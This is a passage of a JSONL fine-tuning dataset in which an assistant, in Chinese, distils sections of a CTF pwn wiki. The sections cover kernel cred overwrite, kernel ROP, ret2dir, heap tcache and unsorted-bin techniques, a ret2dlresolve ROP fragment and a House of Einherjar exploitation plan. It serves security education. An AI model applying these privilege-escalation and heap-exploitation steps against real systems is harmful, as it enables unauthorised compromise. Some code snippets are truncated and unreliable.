"pwn/browser/chrome/js-engine/v8.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-87bc3af9484ec9df5c12", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md` 中的章节「comm」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md`\n标题：Change Self\n章节：Change Self > 直接改 cred > 定位具体位置 > 定位 > 间接定位 > comm\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 我们可以发现 comm 其实在 cred 的正下方，所以我们也可以先定位 comm ，然后定位 cred 的地址。\n- 因此，我们可以使用 prctl 设置进程的 comm 为一个特殊的字符串，然后再开始定位 comm。\n- ``c / Process credentials: / / Tracer's credentials at attach: / const struct cred __rcu ptracer_cred;\n- / Objective and real subjective task credentials (COW): / const struct cred __rcu real_cred;\n- / Effective (overridable) subjective task credentials (COW): / const struct cred __rcu cred;\n- #endif / executable name, excluding path. - normally initialized setup_new_exec() - access it with [gs]et_task_comm() - lock it with task_lock() */ char comm[TASK_COMM_LEN];\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- aim\n- code:c\n\n代码/命令片段线索：\n- c: 19 行，首行 `/* Process credentials: */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 793, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "comm", "heading_path": ["Change Self", "直接改 cred", "定位具体位置", "定位", "间接定位", "comm"], "original_id": "docs-035bf2adba1f4153753d", "original_line": 664, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md", "source_root": "docs", "source_sha256": "d1cfeb5ddd01e316391d6982c05f447b84f57f808d2581f0482d9ade31e9e252", "split": "train", "split_group_key": "12bf723d83935ef58fdb2298", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "aim", "code:c"], "title": "Change Self"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-881c1daad0cbda0eb514", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「tcache」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`\n标题：tcache\n章节：tcache\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- tcache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术（see commit），目的是提升堆管理的性能。\n- 但提升性能的同时舍弃了很多安全检查，也因此有了很多新的利用方式。\n- > 主要参考了 glibc 源码，angelboy 的 slide 以及 tukan.farm，链接都放在最后了。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 259, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "tcache", "heading_path": ["tcache"], "original_id": "docs-268db9096d914206daf6", "original_line": 1179, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "source_root": "docs", "source_sha256": "4de68a9fa4b9401f8336e24b35eadac2ba7ac5f85ff862f309421b9ce8c82db8", "split": "train", "split_group_key": "a65605f3629bd648b6f80f99", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "tcache"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-881d0922d760a2484d80", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/rop.md` 中的章节「Kernel ROP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/rop.md`\n标题：Kernel ROP\n章节：Kernel ROP\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Kernel ROP”展开。\n- ROP即``返回导向编程`（Return-oriented programming），应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流。\n- 内核态的 ROP 与用户态的 ROP 一般无二，只不过利用的 gadget 变成了内核中的 gadget，所需要构造执行的 ropchain 由 system(\"/bin/sh\") 变为了 commit_creds(&init_cred) 或 commit_creds(prepare_kernel_cred(NULL))`，当我们成功地在内核中执行这样的代码后，当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝，我们也就获得了 root 权限，此时在用户态起一个 shell 便能获得 ro...\n\n关键术语：\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 364, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "Kernel ROP", "heading_path": ["Kernel ROP"], "original_id": "docs-2628ad64d87578c1e982", "original_line": 820, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "source_root": "docs", "source_sha256": "b49cebaeaf1ddbdb3527283984ff491cc498b07c0e1c53b1e899390e04a78749", "split": "train", "split_group_key": "f4531adc9fb4523cfcb85e07", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Kernel ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-881e206babec16d5672e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/browser/chrome/js-engine/history.md` 中的章节「2010: Full-code Generation + Crankshaft JIT Compiler & Optimizer」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/browser/chrome/js-engine/history.md`\n标题：V8 Design History\n章节：V8 Design History > 2010: Full-code Generation + Crankshaft JIT Compiler & Optimizer\n路径分类：pwn / pwn/browser/chrome\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2010: Full-code Generation + Crankshaft JIT Compiler & Optimizer”展开。\n- 这其实主要是根据 chromium 所开启的配置选项决定，此时 chromium 的运行模式可以是先将 JS 给到原有的全量代码生成引擎再给到 Crankshaft 进行优化，也可以是直接给 Crankshaft。\n- 修修补补两年后，V8 开发组将原有的代码优化部分拆分出来，作为一个单独的 JIT compiler，称之为 Crankshaft ，JS 代码的编译管线也多了一个到 Crankshaft 的分支，同时 V8 也开始引入了 Deoptimization 的机制： [图片文件: https://s2.loli.net/2025/03/11/cd1xWp8gA5wnyhD.png] > JS 代码生成的 AST 什么时候给到原有的全量代码编译引擎？\n\n关键术语：\n- pwn\n- browser\n- chrome\n- js-engine\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 415, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "2010: Full-code Generation + Crankshaft JIT Compiler & Optimizer", "heading_path": ["V8 Design History", "2010: Full-code Generation + Crankshaft JIT Compiler & Optimizer"], "original_id": "docs-ba8b76f23104a82b4811", "original_line": 622, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/history.md", "source_root": "docs", "source_sha256": "b868b727556ae3fca7666a655860c3f3f4f3193087d2bbc536898baa24f5ae90", "split": "train", "split_group_key": "4cbefbe076602f39a0cd0c89", "subcategory": "pwn/browser/chrome", "terms": ["pwn", "browser", "chrome", "js-engine"], "title": "V8 Design History"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/history.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-883c2fadd4676f57717f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL”展开。\n- rop.raw(bin_sh_addr) rop.raw(resolve_call)\n- rop = ROP(\"./main_partial_relro_64\") rop.raw(offset'a') rop.raw(csu(0, 1 ,elf.got['read'],0,link_map_addr+0x1c8,8)) rop.raw(vuln_addr) rop.raw(\"a\"(256-len(rop.chain()))) io.send(rop.chain()) io.send(p64(0)) rop = ROP(\"./main_partial_relro_64\") rop.raw(offse...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 374, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL", "heading_path": ["set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL"], "original_id": "docs-ab7e1e7321a670b13654", "original_line": 1356, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "a383806fbdd9109cdac19f0b", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-88a897d7c79a1d11e12f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md` 中的章节「寻找堆分配函数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md`\n标题：堆溢出\n章节：堆溢出 > 小总结 > 寻找堆分配函数\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“寻找堆分配函数”展开。\n- calloc 与 malloc 的区别是 calloc 在分配后会自动进行清空，这对于某些信息泄露漏洞的利用来说是致命的。\n- ` #include  int main(void) { char chunk,chunk1;\n- 通常来说堆是通过调用 glibc 函数 malloc 进行分配的，在某些情况下会使用 calloc 分配。\n- ` 除此之外，还有一种分配是经由 realloc 进行的，realloc 函数可以身兼 malloc 和 free 两个函数的功能。\n- chunk1=realloc(chunk,32);\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 4 行，首行 `calloc(0x20);`\n- plain: 8 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 775, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "寻找堆分配函数", "heading_path": ["堆溢出", "小总结", "寻找堆分配函数"], "original_id": "docs-ff25ab50251e9e21eb77", "original_line": 47, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md", "source_root": "docs", "source_sha256": "27694f5f914660cc1e7899bfadda0c623bf5ec59d6a725b6533ecb08a2017e41", "split": "train", "split_group_key": "ca9cdbf74577491f656dbabd", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆溢出"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8910e15875a5a07d19b7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/hardware/cpu/side-channel/prefetch.md` 中的章节「Address-translation oracle」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/hardware/cpu/side-channel/prefetch.md`\n标题：prefetch side-channel attack\n章节：prefetch side-channel attack > 攻击原语构建 > Address-translation oracle\n路径分类：pwn / pwn/hardware/cpu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Address-translation oracle”展开。\n- 类似地，基于 prefetch 指令的执行时间（property 1），我们可以知道目标地址 p 是否存在于缓存中： 1. 清除地址 $p$。\n- 若第二步中访问的地址 $\\overline{p}$ 与地址 $p$ 映射到了同一物理页面，则第三步的执行时间将远小于缓存未命中的情况，由此我们便能得知两个虚拟地址 $p$ 与 $\\overline{p}$ 是否映射到同一物理地址，不过这种情况下攻击者无法得知 $\\overline{p}$ ，但能得知 $p$ 被函数或系统调用所使用。\n- 由于 prefetch 指令不需要任何权限检查，攻击者可以在任何虚拟地址上执行 prefetch 指令，包括未映射地址与内核地址，由此我们可以通过如下步骤验证两个虚拟地址 $p$ 与 $\\overline{p}$ 是否映射到同一物理地址： 1. 清除地址 $p$ 2. 预取（不可访问的）地址 $\\overline{p}$ 3. 重新载入地址 $p$ 若两个虚拟地址映射到同一个物理地址，则第二步中对地址 $\\overline{p}$ 执行的 prefetch 指令将使得第三步有较高的概率造成缓存命中（cache...\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- hardware\n- cpu\n- side-channel\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 587, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Address-translation oracle", "heading_path": ["prefetch side-channel attack", "攻击原语构建", "Address-translation oracle"], "original_id": "docs-7b960c3d175813b610c2", "original_line": 634, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/hardware/cpu/side-channel/prefetch.md", "source_root": "docs", "source_sha256": "2becfb3a5a6f80745403242ec2d2ce0a4c230bb280b012418ce1204612558448", "split": "train", "split_group_key": "07a73de56183037ff4e5543e", "subcategory": "pwn/hardware/cpu", "terms": ["ROP/JOP", "漏洞利用", "pwn", "hardware", "cpu", "side-channel"], "title": "prefetch side-channel attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/hardware/cpu/side-channel/prefetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8a48c1d773104a74508d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md` 中的章节「ret2dir」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md`\n标题：ret2dir\n章节：ret2dir\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“ret2dir”展开。\n- 需要注意的是我们往往没有内存搜索的机会，因此需要使用 mmap 喷射大量的物理内存写入同样的 payload，之后再随机挑选一个线性映射区上的地址进行利用，这样我们就有很大的概率命中到我们布置的 payload 上，这种攻击手法也称为 physmap spray`。\n- ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法，主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段，原论文见此处。\n- 当开启了 SMEP、SMAP、PXN 等防护时，内核空间到用户空间的直接访问被禁止，我们无法直接使用类似 ret2usr 这样的攻击方式，但利用内核线性映射区对整个物理地址空间的映射，我们可以利用一个内核空间上的地址访问到用户空间的数据，从而绕过 SMEP、SMAP、PXN 等传统的隔绝用户空间与内核空间的防护手段。\n- 下图便是原论文中对 ret2dir 这种攻击的示例，我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到： [图片: image.png;\n- 文件: figure/ret2dir-shellcode.png] 但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限，因此我们很难再在用户空间直接布置 shellcode 进行利用，但我们仍能通过在用户空间布置 ROP 链的方式完成利用： [图片: image.png;\n\n关键术语：\n- 堆\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:rst\n\n代码/命令片段线索：\n- rst: 1 行，首行 `ffff888000000000 | -119.5 TB | ffffc87fffffffff | 64 TB | direct mapping of all physical memory (page_offset_base)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1409, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "ret2dir", "heading_path": ["ret2dir"], "original_id": "docs-2c898b8e6633b3c24892", "original_line": 802, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2dir.md", "source_root": "docs", "source_sha256": "03a9f28cf23312e37760324d080b1a938051541da85bfe9f74fc68c15831dd70", "split": "train", "split_group_key": "e9406eda9c188bd78365639d", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:rst"], "title": "ret2dir"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2dir.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8ba2ceba201c53cb967e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「Unsorted Bin 的结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：Unsorted Bin Attack > Unsorted Bin Leak > Unsorted Bin 的结构\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Unsorted Bin 的结构”展开。\n- Unsorted Bin 在管理时为循环双向链表，若 Unsorted Bin 中有两个 bin，那么该链表结构如下 [图片文件: ./figure/unsortedbins-struct.jpg] 下面这张图就是上面的结构的复现 [图片文件: ./figure/gdb-debug-state.png] 我们可以看到，在该链表中必有一个节点（不准确的说，是尾节点，这个就意会一下把，毕竟循环链表实际上没有头尾）的 fd 指针会指向 main_arena 结构体内部。\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 248, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Unsorted Bin 的结构", "heading_path": ["Unsorted Bin Attack", "Unsorted Bin Leak", "Unsorted Bin 的结构"], "original_id": "docs-2e97d227d9a0db1695bd", "original_line": 1098, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "99628bd55da7f558e458fd68", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8bba3a07621411a8512a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md` 中的章节「利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md`\n标题：House Of Einherjar\n章节：House Of Einherjar > 2016 Seccon tinypad > 利用\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 基本利用思路如下 1. 利用删除时没有将指针置为NULL的 UAF 漏洞，泄漏堆的基地址 2. 再次利用 UAF 漏洞泄漏 libc 的基地址。\n- 3. 利用 house of einherjar 方法在 tinypad 的前 256 字节中伪造 chunk。\n- 4. 这里虽然我们的第一想法可能是直接覆盖 malloc_hook 为 one_gadget 地址，但是，由于当编辑时，程序是利用 strlen 来判读可以读取多少长度，而 malloc_hook 则在初始时为 0。\n- 所以我们直接覆盖，所以这里采用其他方法，即修改程序的 main 函数的返回地址为 one_gadget，之所以可以行得通，是因为返回地址往往是 7f 开头的，长度足够长，可以覆盖为one_gadget。\n- 所以我们还是需要泄漏 main 函数的返回地址，由于 libc 中存储了 main 函数 environ 指针的地址，所以我们可以先泄露出environ 的地址，然后在得知存储 main 函数的返回地址的地址。\n- 5. 最后修改 main 函数的返回地址为 one_gadget 地址获取shell。\n\n关键术语：\n- UAF\n- 堆\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 118 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4642, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "利用", "heading_path": ["House Of Einherjar", "2016 Seccon tinypad", "利用"], "original_id": "docs-60483a846092ff5a0502", "original_line": 975, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "source_root": "docs", "source_sha256": "7555ab87640a8cca0af7390ea651fe0a6f5200d3f5a461105702e891b734e4f5", "split": "train", "split_group_key": "29d939bb3e2c0e0103b4d8e9", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "House Of Einherjar"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8bf08d9125c591f792f4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md` 中的章节「non-mmapped 块检查」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md`\n标题：堆中的检查\n章节：堆中的检查 > __int_free > non-mmapped 块检查\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“non-mmapped 块检查”展开。\n- | 检查目标 | 检查条件 | 报错信息 | | :-----------: | :--------------------------------------: | :--------------------------------: | | 释放chunk位置 | p == av->top | double free or corruption (top) | | next chunk 位置 | contiguous (av) && (char ) nextchunk >= ((char ) av->to...\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 451, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "non-mmapped 块检查", "heading_path": ["堆中的检查", "__int_free", "non-mmapped 块检查"], "original_id": "docs-18d46be0a03d01709fec", "original_line": 1036, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "source_root": "docs", "source_sha256": "4375f656de4fa14c2380f946b7c43a901ed3a64708e6a1af69983cd2bbed2373", "split": "train", "split_group_key": "10e69d61f914d6f02fd601f3", "subcategory": "pwn/linux/user-mode", 